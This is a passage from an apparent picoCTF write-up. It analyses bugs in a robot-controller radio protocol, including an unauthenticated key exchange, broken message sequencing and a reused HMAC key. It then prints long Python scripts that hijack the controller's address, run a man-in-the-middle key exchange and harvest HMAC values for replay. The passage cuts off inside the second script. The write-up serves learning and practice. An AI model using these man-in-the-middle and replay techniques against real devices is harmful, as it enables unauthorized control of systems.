separate DHSKs: <em>shared_key_robot</em> and <em>shared_key_controller</em>.</p><p>This bug could’ve been mitigated if there was an authentication mechanism of the two parties. One example could be to add a verification mechanism using a digital signature.</p><p>3. <em>Invalid progression of the robot’s functions 1</em></p><p>After the Diffie-Hellman key exchange was established, the robot moved to the <em>for loop</em> in which it would call the <em>read_command()</em> function. This <em>read_command()</em> function would call the <em>send_secure_data()</em> function, which was what created the <em>“secure_data”</em> message. This function would wait for the <em>“secure_data_ack”</em> message, and once it was received, it would decrypt then verify the HMAC value with the HSK. Once it was verified, it would move on to the next function, <em>recv_secure_data()</em>, to create a <em>“secure_data_request”</em> message.</p><p>However, there was a bug in the <em>read_command()</em> data that would allow the robot to progress to the next stage even without message verification. In the <em>send_secure_data()</em> function, if the HMAC value was not verified, then it would output an error message, i.e. <em>“acknowledgement failed to validate,”</em> and return. Once returned, the <em>read_command()</em> function, regardless of whether it was verified or not, would simply move on to the <em>recv_secure_data()</em> function and create the <em>“secure_data_request”</em> message.</p><p>But in this case, the nonce would not be incremented because the incrementation happened at the end of the <em>send_secure_data()</em> request. The invalid message made the function return before it could reach the end of the function.</p><pre># Code that would cause the robot to erroneously progress to the next stage (robot.py).<br><br>...<br><br>async def send_secure_data(self, msg):<br>    msg_encrypted = self.hmac_and_encrypt(msg, self.nonce)<br>    self.send_message({<br>        &quot;msg_type&quot;: &quot;secure_data&quot;,<br>        &quot;src&quot;: self.address,<br>        &quot;dst&quot;: ROBOT_ADDRESS,<br>        &quot;encrypted&quot;: msg_encrypted<br>    })<br><br>    response = await self.wait_message(&quot;secure_data_ack&quot;)<br>    ack_decrypted = self.decrypt_and_check_hmac(response[&quot;encrypted&quot;], self.nonce)<br><br>    if ack_decrypted is None:<br>        self.debug(&quot;acknowledgement failed to validate&quot;)<br>        return<br><br>    # Ack packets are zero length<br>    if len(ack_decrypted) != 0:<br>        self.debug(&quot;acknowledgement mismatch&quot;)<br>        return<br><br>    self.nonce += 1<br><br>...<br><br>async def read_command(self):<br>    await self.send_secure_data(&quot;get_movement&quot;)<br>    await asyncio.sleep(0.2)<br><br>    while True:<br>        resp = await self.recv_secure_data()<br>        if resp != &quot;&quot;:<br>            return resp   # if resp == &quot;&quot;, then return nothing? it loops back to recv_secure_data().<br><br><br>async def run(self):<br>    while self.running:<br>        while not self.start:<br>            <br>            ...<br><br>            # Once validated, read some commands from the controller and execute them<br>            for _ in range(20):<br>                cmd = (await self.read_command())<br>                if cmd is None:<br>                    self.debug(&quot;timed out trying to read a robot command&quot;)<br>                    break<br><br>                if len(cmd) != 0:<br>                    await robot_low_level.move(cmd)<br><br>                if self.stop:<br>                    break<br><br>            if self.stop:<br>                await robot_low_level.move(&quot;stop&quot;)<br>            else:<br>                await robot_low_level.move(&quot;done&quot;)<br><br>            self.stop = False<br>            self.start = False</pre><p>This bug could’ve been mitigated by implementing a loop that would go back to waiting for the <em>“secure_data_ack”</em> message if an invalid message was received. This would make sure that the program did not accidentally progress to the next step.</p><p>4. <em>Invalid progression of the robot’s functions 2</em></p><p>The <em>recv_secure_data()</em> function in the <em>read_command()</em> function was embedded in a <em>while loop</em>. Inside the loop, the <em>if statement</em> checked for whether the returned value from the <em>recv_secure_data()</em> function was not blank, and this was the problem. Basically, it meant that if the returned value WAS blank, then it would continue through the loop and call the <em>recv_secure_data()</em> function, again and again, being stuck in the loop until a non-blank response was returned. During this time, an endless amount of messages could be exchanged with the robot as it would be stuck in the <em>while loop</em> that was within the main <em>for loop</em>.</p><p>This bug in combination with bug#3 would cause the robot and the controller to exchange <em>“secure_data_request”</em> and <em>“secure_data_response”</em> message types incessantly, which would increment the nonce values as long as I wanted. The controller would send blank encrypted messages back to the robot if it received a <em>“secure_data_request”</em> without receiving a <em>“secure_data”</em> message type first. The variable <em>self.send_buffer_secure</em> would reset to blank after sending the <em>“secure_data_response”</em> message type from a previous transaction. The controller would only set a new direction value upon receiving another <em>“secure_data”</em> message type. This bug would come in handy later on to collect HMAC values of blank messages to manipulate the nonce values during the exploit.</p><p>This bug could’ve been mitigated if receiving a blank message would’ve been considered the same as receiving <em>“None.”</em></p><p>5. <em>Improper synchronization of the controller</em></p><p>The controller was open to receive any message types as long as it was within its scope. In other words, unlike the robot, it didn’t have a proper “lock” that would make it wait for a specific response after sending out a message. For example, while the robot would wait for the <em>“secure_data_ack”</em> message after sending out a <em>“secure_data”</em> message, the controller would not specifically wait for a <em>“secure_data_request”</em> message after sending out the <em>“secure_data_ack”</em> message. Such behavior allowed me to simply send any message types at any time, and expect to receive a corresponding message back.</p><pre># Code that shows improper synchronization.<br><br>...<br><br>def message_callback(self, msg):<br>    try:<br>        msg_type = msg[&quot;msg_type&quot;]<br>        msg_dst = int(msg[&quot;dst&quot;])<br>        <br>        if msg_dst != self.address:<br>            return<br>    <br>        if msg_type == &quot;ping&quot;:<br>            self.send_message({<br>                &quot;msg_type&quot;: &quot;pong&quot;,<br>                &quot;src&quot;: self.address,<br>                &quot;dst&quot;: msg[&quot;src&quot;]<br>            })<br>    <br>        # To avoid the bootstrapping problem, changing the address needs to<br>        # be an unauthenticated operation<br>        if msg_type == &quot;set_addr&quot;:<br>            self.address = int(msg[&quot;new_addr&quot;]) &amp; 0xFF<br>            self.send_message({<br>                &quot;msg_type&quot;: &quot;ack_set_addr&quot;,<br>                &quot;src&quot;: self.address,<br>                &quot;dst&quot;: msg[&quot;src&quot;]<br>            })<br>    <br>    <br>        <br>        if msg_type == &quot;validate&quot;:<br>            response = crypto.compute_hmac(msg[&quot;challenge&quot;], 0, keys[&quot;authenticity_key&quot;])<br>            self.send_message({<br>                &quot;msg_type&quot;: &quot;ack_validate&quot;,<br>                &quot;src&quot;: self.address,<br>                &quot;dst&quot;: msg[&quot;src&quot;],<br>                &quot;response&quot;: response.hex()<br>            })<br>    <br>    <br>        <br>        if msg_type == &quot;key_exchange&quot;:<br>            self.send_message({<br>                &quot;msg_type&quot;: &quot;ack_key_exchange&quot;,<br>                &quot;src&quot;: self.address,<br>                &quot;dst&quot;: msg[&quot;src&quot;],<br>                &quot;key&quot;: monocypher.compute_key_exchange_public_key(self.dh_key_priv).hex()<br>            })<br>            self.dh_key_shared = monocypher.key_exchange(self.dh_key_priv, bytes.fromhex(msg[&quot;key&quot;]))<br>    <br>    <br>        <br>        if msg_type == &quot;secure_data_request&quot;:<br>            self.process_secure_data_request(msg)<br>    <br>        if msg_type == &quot;secure_data&quot;:<br>            self.process_secure_data(msg)<br>    <br>    except:<br>        traceback.print_exc()<br><br>def process_secure_data_request(self, request):<br>    request_decrypted = self.decrypt_and_check_hmac(request[&quot;encrypted&quot;], self.nonce)<br><br>    if request_decrypted is None:<br>        self.debug(&quot;message failed to validate&quot;)<br>        return<br><br>    # Avoid type confusion by ensuring a secure data request should always<br>    # be of length zero<br>    if len(request_decrypted) != 0:<br>        self.debug(&quot;message mismatch&quot;)<br>        return<br><br>    # If the request is valid, send our current send buffer in response<br>    msg = self.send_buffer_secure<br>    self.send_buffer_secure = &quot;&quot;<br>    msg_encrypted = self.hmac_and_encrypt(msg, self.nonce)<br><br>    self.nonce += 1<br><br>    self.send_message({<br>        &quot;msg_type&quot;: &quot;secure_data_response&quot;,<br>        &quot;src&quot;: self.address,<br>        &quot;dst&quot;: request[&quot;src&quot;],<br>        &quot;encrypted&quot;: msg_encrypted<br>    })<br><br>def process_secure_data(self, msg):<br>    msg_decrypted = self.decrypt_and_check_hmac(msg[&quot;encrypted&quot;], self.nonce)<br><br>    if msg_decrypted is None:<br>        self.debug(&quot;message failed to validate&quot;)<br>        return<br><br>    # If the request is valid, send an empty message as an acknowledgement<br>    msg_encrypted = self.hmac_and_encrypt(&quot;&quot;, self.nonce)<br>    <br>    self.nonce += 1<br>    <br>    self.send_message({<br>        &quot;msg_type&quot;: &quot;secure_data_ack&quot;,<br>        &quot;src&quot;: self.address,<br>        &quot;dst&quot;: msg[&quot;src&quot;],<br>        &quot;encrypted&quot;: msg_encrypted<br>    })<br><br>    self.recv_buffer_secure = msg_decrypted<br><br>...</pre><p>As shown above, the functions only had <em>if statements</em> and no <em>await</em> or some sort of mechanisms that would ensure proper synchronization with the robot. A simple <em>await</em> would’ve made sure that the messages were received and sent in the proper order, and prevent any accidental progression.</p><p>6. <em>Key reuse vulnerability (HSK)</em></p><p>After numerous trial and error in trying to exploit the system, I finally realized that the encrypted HMAC values were ALWAYS the same! The robot and the controller used the functions from <em>crypto.py</em> to encrypt, decrypt, hash, and verify messages. But because they always used the same HSK for creating HMAC hashes, the HMAC value was always the same for a particular message.</p><p>For example, the <em>“get_movement”</em> message with a nonce of 0 would always yield an HMAC value of:</p><p><em>670636e2d88eaa8fc23cfce017bbce29ba3df4000f08ebb97dc78666e65a03d60a14fa5ca29f56da4935dcf4422bcf07cf24d9ff74ad5adcc9fee7253d0b98b7.</em></p><p>So, this meant that as long as I stored a collection of all of these HMAC values, I would probably be able to manipulate the robot’s movement through a replay attack.</p><pre># crytpo.py functions.<br><br>import hashlib<br>import monocypher<br>import os<br><br>def compute_hmac(message, nonce, key):<br>    hmac = (message + str(nonce) + key.hex()).encode()<br>    for _ in range(32):<br>        hmac = monocypher.blake2b(hmac + key)<br>    return monocypher.blake2b(hmac)<br><br>def add_hmac(message, nonce, key):<br>    hmac = compute_hmac(message, nonce, key)<br>    return {&quot;message&quot;: message, &quot;nonce&quot;: nonce, &quot;hmac&quot;: hmac.hex()}<br><br>def validate_hmac(message, nonce, key):<br>    hmac = compute_hmac(message[&quot;message&quot;], nonce, key)<br>    if message[&quot;hmac&quot;] == hmac.hex() and message[&quot;nonce&quot;] == nonce:<br>        return message[&quot;message&quot;]<br><br>    return None<br><br>def encrypt(message, key):<br>    key = monocypher.blake2b(key)[:32]<br>    nonce = os.urandom(24)<br>    tag, ciphertext = monocypher.lock(key, nonce, message.encode())<br>    return ciphertext.hex() + &quot;;&quot; + tag.hex() + &quot;;&quot; + nonce.hex()<br><br>def decrypt(message, key):<br>    key = monocypher.blake2b(key)[:32]<br>    ciphertext, tag, nonce = message.split(&quot;;&quot;)<br>    plaintext = monocypher.unlock(key, bytes.fromhex(nonce), bytes.fromhex(tag), bytes.fromhex(ciphertext))<br>    return plaintext</pre><pre># HMAC hashing with a reused key stored in the server.<br><br># robot.py and robotcontroller.py<br><br>...<br><br>def hmac_and_encrypt(self, msg, nonce):<br>    msg_with_hmac = json.dumps(crypto.add_hmac(msg, nonce, keys[&quot;shared_hmac_key&quot;]))<br>    msg_encrypted = crypto.encrypt(msg_with_hmac, self.dh_key_shared)<br>    return msg_encrypted<br><br>def decrypt_and_check_hmac(self, msg, nonce):<br>    msg = crypto.decrypt(msg, self.dh_key_shared)<br>    if msg is None: return None<br>    msg_with_hmac = json.loads(msg)<br>    return crypto.validate_hmac(msg_with_hmac, nonce, keys[&quot;shared_hmac_key&quot;])<br><br>...</pre><p>The reusing of an HSK, i.e. <em>keys[“shared_hmac_key”]</em>, to create and verify the HMAC values was an Achilles heel in disguise! Had the HSK been rotated or randomized, this bug could’ve been prevented.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IoEa7nJWqsdkr6dUIPG6QQ.jpeg" /></figure><blockquote>Drawing out the path to the flag</blockquote><p>Before taking any action, I needed to draw out how I wanted to move the robot to the flag. The path that I chose was as below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wGILTwHv7TCQ_ckQZKOjfQ.png" /></figure><blockquote>The exploit</blockquote><p>Now, that the bugs and the path were clearly identified, I was able to create a plan for exploitation. It had to be conducted in 2 to 3 stages because the HMAC values had to be collected for reuse first. So, I initially created 2 separate Python programs:</p><ol><li>One program for collecting HMAC values of <em>“get_movement”</em> and <em>“secure_data_response”</em> message types.</li><li>One program for collecting HMAC values of blank messages for manipulating nonce values only.</li></ol><pre># Python program to gather HMAC values of secure_data and secure_data_response message types with corresponding nonce values.<br><br>import requests<br>import time<br>import hashlib<br>import monocypher<br>import os<br>import json<br>import time<br><br><br># Returns a list of messages seen on the air since the last time this function<br># was called<br>def receive_radio_messages(SERVER_URL):<br>    msg_group = []<br>    messages = requests.get(SERVER_URL+&quot;/radio_rx&quot;).json()<br>    <br>    for msg in messages:<br>        print(&quot;\nDEBUG: Received message&quot;, msg)<br>        msg_group.append(msg)<br>        <br>    return msg_group<br><br># [message] argument should be a Python dict object<br>def inject_radio_message(SERVER_URL, message):<br>    requests.post(SERVER_URL+&quot;/radio_tx&quot;, json=message)<br><br>def start_robot(SERVER_URL):<br>    requests.get(SERVER_URL+&quot;/start&quot;)<br><br>def stop_robot(SERVER_URL):<br>    requests.get(SERVER_URL+&quot;/stop&quot;)<br><br># Get the location of the robot and the obstacles on the grid<br>def get_board_state(SERVER_URL):<br>    return requests.get(SERVER_URL+&quot;/state&quot;).json()<br><br>def compute_hmac(message, nonce, key):<br>    hmac = (message + str(nonce) + key.hex()).encode()<br>    for _ in range(32):<br>        hmac = monocypher.blake2b(hmac + key)<br>    return monocypher.blake2b(hmac)<br><br>def add_hmac(message, nonce, key):<br>    hmac = compute_hmac(message, nonce, key)<br>    return {&quot;message&quot;: message, &quot;nonce&quot;: nonce, &quot;hmac&quot;: hmac.hex()}<br><br>def encrypt(message, key):<br>    key = monocypher.blake2b(key)[:32]<br>    nonce = os.urandom(24)<br>    tag, ciphertext = monocypher.lock(key, nonce, message.encode())<br>    return ciphertext.hex() + &quot;;&quot; + tag.hex() + &quot;;&quot; + nonce.hex()<br><br>def decrypt(message, key):<br>    key = monocypher.blake2b(key)[:32]<br>    ciphertext, tag, nonce = message.split(&quot;;&quot;)<br>    plaintext = monocypher.unlock(key, bytes.fromhex(nonce), bytes.fromhex(tag), bytes.fromhex(ciphertext))<br>    return plaintext<br><br>def initialization(server, robot_addr, controller_addr, new_controller_addr, my_priv_key):<br>    # Checking whether Robot and Controller are online.<br>    ping_robot = {<br>        &quot;msg_type&quot;: &quot;ping&quot;,<br>        &quot;src&quot;: controller_addr,<br>        &quot;dst&quot;: robot_addr,<br>    }<br><br>    ping_controller = {<br>        &quot;msg_type&quot;: &quot;ping&quot;,<br>        &quot;src&quot;: robot_addr,<br>        &quot;dst&quot;: controller_addr,<br>    }<br><br>    # Sending messages.<br>    inject = inject_radio_message(server, ping_robot)<br>    time.sleep(1)<br>    inject = inject_radio_message(server, ping_controller)<br>    time.sleep(1)<br><br>    # Reading output.<br>    print(&quot;Confirming that both Robot and Controller are online.&quot;)<br>    msg_recv = receive_radio_messages(server)<br>        <br>    # Set new addr for controller to conduct MITM attack.<br>    set_new_addr = {<br>        &quot;msg_type&quot;: &quot;set_addr&quot;,<br>        &quot;src&quot;: robot_addr,<br>        &quot;dst&quot;: controller_addr,<br>        &quot;new_addr&quot;: new_controller_addr,<br>    }<br><br>    # Sending message.<br>    inject = inject_radio_message(server, set_new_addr)<br>    time.sleep(1)<br><br>    # Reading output.<br>    print(&quot;\nChanging Controller&#39;s address to 0x30.&quot;)<br>    msg_recv = receive_radio_messages(server)<br><br>    # Checking the new address of Controller.<br>    ping_controller = {<br>        &quot;msg_type&quot;: &quot;ping&quot;,<br>        &quot;src&quot;: robot_addr,<br>        &quot;dst&quot;: new_controller_addr,<br>    }<br><br>    # Sending message.<br>    inject = inject_radio_message(server, ping_controller)<br>    time.sleep(1)<br><br>    # Reading output.<br>    print(&quot;\nConfirming that Controller&#39;s address is changed.&quot;)<br>    msg_recv = receive_radio_messages(server)<br>    <br>    # Start the Robot.<br>    print(&quot;\nStarting robot...&quot;)    <br>    start_robot(server)<br>    time.sleep(1)<br><br>    # Reading output. Extracting challenge key.<br>    msg_recv = receive_radio_messages(server)<br>    <br>    # Extracting challenge validation key.<br>    challenge = msg_recv[0][&#39;challenge&#39;]<br>    print(&quot;\nChallenge validation key sent from Robot:&quot;, challenge)<br>    print()<br><br>    # Validating robot authenticty.<br>    validate_msg = {<br>        &quot;src&quot;: robot_addr,<br>        &quot;dst&quot;: new_controller_addr,<br>        &quot;msg_type&quot;: &quot;validate&quot;,<br>        &quot;challenge&quot;: challenge<br>    }<br><br>    # Sending message.<br>    inject = inject_radio_message(server, validate_msg)<br>    time.sleep(1)<br>    <br>    # Reading output. Extracting Robot&#39;s public key.<br>    msg_recv = receive_radio_messages(server)<br><br>    # Robot&#39;s public key.<br>    robot_dh_pub_key = msg_recv[2][&#39;key&#39;]<br>    print(&quot;\nRobot&#39;s public key:&quot;, robot_dh_pub_key)<br>    <br>    # The &quot;ack_key_exchange&quot; message for Robot.<br>    ack_key_exchange = {<br>        &quot;msg_type&quot;: &quot;ack_key_exchange&quot;,<br>        &quot;src&quot;: new_controller_addr,<br>        &quot;dst&quot;: robot_addr,<br>        &quot;key&quot;: monocypher.compute_key_exchange_public_key(my_priv_key).hex()<br>    }<br><br>    my_dh_pub_key_robot = ack_key_exchange[&#39;key&#39;]<br>    print(&quot;\nMy public key sent to Robot:&quot;, my_dh_pub_key_robot)<br><br>    # Construct my shared key with Robot.<br>    shared_key_robot = monocypher.key_exchange(my_priv_key, bytes.fromhex(robot_dh_pub_key))<br>    print(&quot;\nMy shared key with Robot:&quot;, shared_key_robot.hex())<br><br>    # Sending message.<br>    inject = inject_radio_message(server, ack_key_exchange)<br>    time.sleep(1)<br><br>    # Reading output.<br>    msg_recv = receive_radio_messages(server)<br><br>    # Decrypting the secure_data message from Robot.<br>    msg_robot_enc = msg_recv[0][&#39;encrypted&#39;]<br>    msg_robot_dec = json.loads(decrypt(msg_robot_enc, shared_key_robot).decode())<br>    print(&quot;\nDecrypted message from Robot:&quot;, msg_robot_dec)<br><br>    return msg_robot_dec, shared_key_robot<br><br>def get_shared_key_controller(server, dummy_robot_addr, new_controller_addr, my_priv_key):<br>    # The &quot;key_exchange&quot; message for Controller.<br>    key_exchange = {<br>        &quot;msg_type&quot;: &quot;key_exchange&quot;,<br>        &quot;src&quot;: dummy_robot_addr,<br>        &quot;dst&quot;: new_controller_addr,<br>        &quot;key&quot;: monocypher.compute_key_exchange_public_key(my_priv_key).hex()<br>    }<br><br>    my_dh_pub_key_controller = key_exchange[&#39;key&#39;]<br>    print(&quot;\nMy public key sent to Controller:&quot;, my_dh_pub_key_controller)<br><br>    # Sending message.<br>    inject = inject_radio_message(server, key_exchange)<br>    time.sleep(1)<br><br>    # Reading output.<br>    msg_recv = receive_radio_messages(server)<br><br>    # Controller&#39;s public key.<br>    controller_dh_pub_key = msg_recv[0][&#39;key&#39;]<br>    print(&quot;\nController&#39;s public key:&quot;, controller_dh_pub_key)<br><br>    # Construct my shared key with Controller.<br>    shared_key_controller = monocypher.key_exchange(my_priv_key, bytes.fromhex(controller_dh_pub_key))<br>    print(&quot;\nMy shared key with Controller:&quot;, shared_key_controller.hex())<br><br>    return shared_key_controller<br><br>def gather_secure_data(msg_robot_dec, server, shared_key_controller, shared_key_robot, robot_addr, dummy_robot_addr, new_controller_addr, commands):<br>    # Collecting secure_data.<br>    commands.append(msg_robot_dec)<br>    <br>    # Re-encrypt the decrypted message from Robot to send it to Controller.<br>    msg_robot_reenc = encrypt(json.dumps(msg_robot_dec), shared_key_controller)<br><br>    # Crafting secure_data from Robot to Controller.<br>    secure_data = {<br>        &quot;msg_type&quot;: &quot;secure_data&quot;,<br>        &quot;src&quot;: dummy_robot_addr,<br>        &quot;dst&quot;: new_controller_addr,<br>        &quot;encrypted&quot;: msg_robot_reenc<br>    }<br><br>    # Sending message.<br>    print(&quot;\nSending re-encrypted message from Robot to Controller...&quot;)<br>    inject = inject_radio_message(server, secure_data)<br>    time.sleep(1)<br><br>    # Reading output. Running a while loop until msg is available as, sometimes, there is latency.<br>    msg_recv = []<br>    while len(msg_recv) &lt; 1:<br>        msg_recv = receive_radio_messages(server)<br>    <br>    # Decrypt message back from Controller.<br>    msg_controller_enc = msg_recv[0][&#39;encrypted&#39;]<br>    msg_controller_dec = json.loads(decrypt(msg_controller_enc, shared_key_controller).decode())<br>    print(&quot;\nDecrypted message from Controller:&quot;, msg_controller_dec)<br><br>    # Re-encrypt the decrypted message from Controller to send it to Robot.<br>    msg_controller_reenc = encrypt(json.dumps(msg_controller_dec), shared_key_robot)<br>    secure_data_ack = {<br>        &quot;msg_type&quot;: &quot;secure_data_ack&quot;,<br>        &quot;src&quot;: new_controller_addr,<br>        &quot;dst&quot;: robot_addr,<br>        &quot;encrypted&quot;: msg_controller_reenc<br>    }<br><br>    # Sending message.<br>    print(&quot;\nSending re-encrypted message from Controller to Robot...&quot;)<br>    inject = inject_radio_message(server, secure_data_ack)<br>    time.sleep(1)<br><br>    # Reading output.<br>    msg_recv = []<br>    while len(msg_recv) &lt; 1:<br>        msg_recv = receive_radio_messages(server)<br><br>    # Decrypt message back from Robot.<br>    msg_robot_enc = msg_recv[0][&#39;encrypted&#39;]<br>    msg_robot_dec = json.loads(decrypt(msg_robot_enc, shared_key_robot).decode())<br>    print(&quot;\nDecrypted message from Robot:&quot;, msg_robot_dec)<br><br>    # Re-encrypt the decrypted message from Robot to send it to Controller.<br>    msg_robot_reenc = encrypt(json.dumps(msg_robot_dec), shared_key_controller)<br>    secure_data_request = {<br>        &quot;msg_type&quot;: &quot;secure_data_request&quot;,<br>        &quot;src&quot;: dummy_robot_addr,<br>        &quot;dst&quot;: new_controller_addr,<br>        &quot;encrypted&quot;: msg_robot_reenc<br>    }<br><br>    # Sending message.<br>    print(&quot;\nSending re-encrypted message from Robot to Controller...&quot;)<br>    inject = inject_radio_message(server, secure_data_request)<br>    time.sleep(1)<br><br>    # Reading output.<br>    msg_recv = []<br>    while len(msg_recv) &lt; 1:<br>        msg_recv = receive_radio_messages(server)<br><br>    # Decrypt message back from Controller.<br>    msg_controller_enc = msg_recv[0][&#39;encrypted&#39;]<br>    msg_controller_dec = json.loads(decrypt(msg_controller_enc, shared_key_controller).decode())<br>    print(&quot;\nDecrypted message from Controller:&quot;, msg_controller_dec)<br><br>    # Collecting secure_data_response.<br>    commands.append(msg_controller_dec)<br><br>    # Re-encrypt the decrypted message from Controller to send it to Robot.<br>    msg_controller_reenc = encrypt(json.dumps(msg_controller_dec), shared_key_robot)<br>    secure_data_response = {<br>        &quot;msg_type&quot;: &quot;secure_data_response&quot;,<br>        &quot;src&quot;: new_controller_addr,<br>        &quot;dst&quot;: robot_addr,<br>        &quot;encrypted&quot;: msg_controller_reenc<br>    }<br><br>    # Sending message.<br>    print(&quot;\nSending re-encrypted message from Controller to Robot...&quot;)<br>    inject = inject_radio_message(server, secure_data_response)<br><br>    # Reading output. Added a timeout to break loop if no more data is flowing in.<br>    msg_recv = []<br>    timeout = False<br>    start_time = time.time()<br>    while len(msg_recv) &lt; 1:<br>        msg_recv = receive_radio_messages(server)<br>        if time.time() - start_time &gt; 10:<br>            timeout = True<br>            break<br><br>    if timeout == False:<br>        # Decrypt message back from Robot.<br>        msg_robot_enc = msg_recv[0][&#39;encrypted&#39;]<br>        msg_robot_dec = json.loads(decrypt(msg_robot_enc, shared_key_robot).decode())<br>        print(&quot;\nDecrypted message from Robot:&quot;, msg_robot_dec)<br>    else:<br>        pass<br>        <br>    return msg_robot_dec, commands<br><br>def main():<br>    # Initialization of SERVER_URL and PORT.<br>    PORT = int(input(&quot;Enter PORT: &quot;))<br>    server = &quot;http://activist-birds.picoctf.net:&quot; + str(PORT) + &quot;/&quot;<br><br>    # Initialization of variables.<br>    robot_addr = 0x20<br>    controller_addr = 0x10<br>    new_controller_addr = 0x30<br>    dummy_robot_addr = 0x40<br>    commands = []<br>    my_priv_key = os.urandom(32)<br><br>    # Initilization process for validating robot and exchanging keys.<br>    msg_robot_dec, shared_key_robot = initialization(server, robot_addr, controller_addr, new_controller_addr, my_priv_key)<br><br>    # Establishing a shared key with controller.<br>    shared_key_controller = get_shared_key_controller(server, dummy_robot_addr, new_controller_addr, my_priv_key)<br><br>    # Collecting data.<br>    for i in range(20):<br>        msg_robot_dec, commands = gather_secure_data(msg_robot_dec, server, shared_key_controller, shared_key_robot, robot_addr, dummy_robot_addr, new_controller_addr, commands)<br><br>    print(&quot;\nCollected messages:&quot;, commands)<br>    <br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><pre># Program to gather HMAC values of blank messages with corresponding nonce values.<br><br>import requests<br>import time<br>import hashlib<br>import monocypher<br>import os<br>import json<br>import time<br><br># Returns a list of messages seen on the air since the last time this function<br># was called<br>def receive_radio_messages(SERVER_URL):<br>    msg_group = []<br>    messages = requests.get(SERVER_URL+&quot;/radio_rx&quot;).json()<br>    <br>    for msg in messages:<br>        print(&quot;\nDEBUG: Received message&quot;, msg)<br>        msg_group.append(msg)<br>        <br>    return msg_group<br><br># [message] argument should be a Python dict object<br>def inject_radio_message(SERVER_URL, message):<br>    requests.post(SERVER_URL+&quot;/radio_tx&quot;, json=message)<br><br>def start_robot(SERVER_URL):<br>    requests.get(SERVER_URL+&quot;/start&quot;)<br><br>def stop_robot(SERVER_URL):<br>    requests.get(SERVER_URL+&quot;/stop&quot;)<br><br># Get the location of the robot and the obstacles on the grid<br>def get_board_state(SERVER_URL):<br>    return requests.get(SERVER_URL+&quot;/state&quot;).json()<br><br>def compute_hmac(message, nonce, key):<br>    hmac = (message + str(nonce) + key.hex()).encode()<br>    for _ in range(32):<br>        hmac = monocypher.blake2b(hmac + key)<br>    return monocypher.blake2b(hmac)<br><br>def add_hmac(message, nonce, key):<br>    hmac = compute_hmac(message, nonce, key)<br>    return {&quot;message&quot;: message, &quot;nonce&quot;: nonce, &quot;hmac&quot;: hmac.hex()}<br><br>def encrypt(message, key):<br>    key = monocypher.blake2b(key)[:32]<br>    nonce = os.urandom(24)<br>    tag, ciphertext = monocypher.lock(key, nonce, message.encode())<br>    return ciphertext.hex() + &quot;;&quot; + tag.hex() + &quot;;&quot; + nonce.hex()<br><br>def decrypt(message, key):<br>    key = monocypher.blake2b(key)[:32]<br>    ciphertext, tag, nonce = message.split(&quot;;&quot;)<br>    plaintext = monocypher.unlock(key, bytes.fromhex(nonce), bytes.fromhex(tag), bytes.fromhex(ciphertext))<br>    return plaintext<br><br>def initialization(server, robot_addr, controller_addr, new_controller_addr, my_priv_key):<br>    # Checking whether Robot and Controller are online.<br>    ping_robot = {<br>        &quot;msg_type&quot;: &quot;ping&quot;,<br>        &quot;src&quot;: controller_addr,<br>        &quot;dst&quot;: robot_addr,<br>    }<br><br>    ping_controller = {<br>        &quot;msg_type&quot;: &quot;ping&quot;,<br>        &quot;src&quot;: robot_addr,<br>        &quot;dst&quot;: controller_addr,<br>    }<br><br>    # Sending messages.<br>    inject = inject_radio_message(server, ping_robot)<br>    time.sleep(1)<br>    inject = inject_radio_message(server, ping_controller)<br>    time.sleep(1)<br><br>    # Reading output.<br>    print(&quot;Confirming that both Robot and Controller are online.&quot;)<br>    msg_recv = receive_radio_messages(server)<br>        <br>    # Set new addr for controller to conduct MITM attack.<br>    set_new_addr = {<br>        &quot;msg_type&quot;: &quot;set_addr&quot;,<br>        &quot;src&quot;: robot_addr,<br>        &quot;dst&quot;: controller_addr,<br>        &quot;new_addr&quot;: new_controller_addr,<br>    }<br><br>    # Sending message.<br>    inject = inject_radio_message(server, set_new_addr)<br>    time.sleep(1)<br><br>    # Reading output.<br>    print(&quot;\nChanging Controller&#39;s address to 0x30.&quot;)<br>    msg_recv = receive_radio_messages(server)<br><br>    # Checking the new address of Controller.<br>    ping_controller = {<br>        &quot;msg_type&quot;: &quot;ping&quot;,<br>        &quot;src&quot;: robot_addr,<br>        &quot;dst&quot;: new_controller_addr,<br>    }<br><br>    # Sending message.<br>    inject = inject_radio_message(server, ping_controller)<br>    time.sleep(1)<br><br>    # Reading output.<br>    print(&quot;\nConfirming that Controller&#39;s address is changed.&quot;)<br>    msg_recv = receive_radio_messages(server)<br>    <br>    # Start the Robot.<br>    print(&quot;\nStarting robot...&quot;)    <br>    start_robot(server)<br>    time.sleep(1)<br><br>    # Reading output. Extracting challenge key.<br>    msg_recv = receive_radio_messages(server)<br>    <br>    # Extracting challenge validation key.<br>    challenge = msg_recv[0][&#39;challenge&#39;]<br>    print(&quot;\nChallenge validation key sent from Robot:&quot;, challenge)<br>    print()<br><br>    # Validating robot authenticty.<br>    validate_msg = {<br>        &quot;src&quot;: robot_addr,<br>        &quot;dst&quot;: new_controller_addr,<br>        &quot;msg_type&quot;: &quot;validate&quot;,<br>        &quot;challenge&quot;: challenge<br>    }<br><br>    # Sending message.<br>    inject = inject_radio_message(server, validate_msg)<br>    time.sleep(1)<br>    <br>    # Reading output. Extracting Robot&#39;s public key.<br>    msg_recv = receive_radio_messages(server)<br><br>    # Robot&#39;s public key.<br>    robot_dh_pub_key = msg_recv[2][&#39;key&#39;]<br>    print(&quot;\nRobot&#39;s public key:&quot;, robot_dh_pub_key)<br>    <br>    # The &quot;ack_key_exchange&quot; message for Robot.<br>    ack_key_exchange = {<br>        &quot;msg_type&quot;: &quot;ack_key_exchange&quot;,<br>        &quot;src&quot;: new_controller_addr,<br>        &quot;dst&quot;: robot_addr,<br>        &quot;key&quot;: monocypher.compute_key_exchange_public_key(my_priv_key).hex()<br>    }<br><br>    my_dh_pub_key_robot = ack_key_exchange[&#39;key&#39;]<br>    print(&quot;\nMy public key sent to Robot:&quot;, my_dh_pub_key_robot)<br><br>    # Construct my shared key with Robot.<br>    shared_key_robot = monocypher.key_exchange(my_priv_key, bytes.fromhex(robot_dh_pub_key))<br>    print(&quot;\nMy shared key with Robot:&quot;, shared_key_robot.hex())<br><br>    # Sending message.<br>    inject = inject_radio_message(server, ack_key_exchange)<br>    time.sleep(1)<br><br>    # Reading output.<br>    msg_recv = receive_radio_messages(server)<br><br>    # Decrypting the secure_data message from Robot.<br>    msg_robot_enc = msg_recv[0][&#39;encrypted&#39;]<br>    msg_robot_dec = 